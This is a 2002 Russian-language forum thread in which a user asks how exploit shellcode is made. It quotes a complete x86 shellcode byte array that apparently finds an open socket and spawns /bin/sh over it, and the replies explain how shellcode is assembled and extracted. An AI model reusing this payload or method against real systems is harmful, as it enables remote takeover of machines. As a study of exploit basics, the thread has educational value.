> Почти во всех эксплойтах встречаешь, что-то типа: > char shellcode[] = > ... > На основании чего и каким образом он составляется???
На основании поставленной цели. Для разных программных/аппаратных платформ и разных случаев различаются.
Тем образом, каким удобней. Обычно :) пишется на асме.
Почти во всех эксплойтах встречаешь, что-то типа:
char shellcode[] =
"\x89\xe2\x83\xec\x10\x6a\x10\x54\x52\x6a\x00\x6a\x00\xb8\x1f"
"\x00\x00\x00\xcd\x80\x80\x7a\x01\x02\x75\x0b\x66\x81\x7a\x02"
"\x42\x41\x75\x03\xeb\x0f\x90\xff\x44\x24\x04\x81\x7c\x24\x04"
"\x00\x01\x00\x00\x75\xda\xc7\x44\x24\x08\x00\x00\x00\x00\xb8"
"\x5a\x00\x00\x00\xcd\x80\xff\x44\x24\x08\x83\x7c\x24\x08\x03"
"\x75\xee\x68\x0b\x6f\x6b\x0b\x81\x34\x24\x01\x00\x00\x01\x89"
"\xe2\x6a\x04\x52\x6a\x01\x6a\x00\xb8\x04\x00\x00\x00\xcd\x80"
"\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50"
"\x52\x89\xe1\x50\x51\x52\x50\xb8\x3b\x00\x00\x00\xcd\x80\xcc";
На основании чего и каким образом он составляется???
Чуть более подробно :)15.08.02 10:34 Автор: Dude Статус: Незарегистрированный пользователь Отредактировано 15.08.02 10:36 Количество правок: 2
Это машинный код, отвечающий за выполнение команды sh - потому он и называется шеллкодом, как ты справедливо заметил. Кстати, раз уж заметил, попробуй поискать в поисковике, информации много. Хорошим руководством может служить статья Aleph1 в phrack'е. Кроме того, чисто о написании шеллкодов, http://www.fee1dead.h1.ru/lit/hack/s_hell/VOIDRUshell.txt (и где-то на void.ru, соответственно :)
Обычно пишется прога, ассемблится и собирается, потом оттуда вырезают сам код и вставляют в строку, чтобы прога с повышенными привилегиями запустила его (как? RTFM :). Единственно, мне больше нравится вставлять асм прямо в сишный код - по-моему, нагляднее и удобнее. Например:
После чего можно копировать код из sploit (или sploit+3, чтобы пропустить сохранение регистра ebp), всего копировать (sploit_end - sploit) байт. Причин не делать так я вижу мало. Единственно, надо проверить, чтобы не было нулевых байтов. Но когда привыкаешь, это и так видно. Кроме того, вряд ли получится так писать, если, например, 1) ломаешь big endian с little endian, 2) эсплоит на перле - но это не такие уж частые явления, по-моему.
Кстати, приблизительно так и выглядит, наверное, тот код, который ты привел, только на чистом асме.
Shellcode15.08.02 01:09 Автор: Biasha <Бяша> Статус: Member
> Почти во всех эксплойтах встречаешь, что-то типа: > char shellcode[] = > ... > На основании чего и каким образом он составляется???
На основании поставленной цели. Для разных программных/аппаратных платформ и разных случаев различаются.
Тем образом, каким удобней. Обычно :) пишется на асме.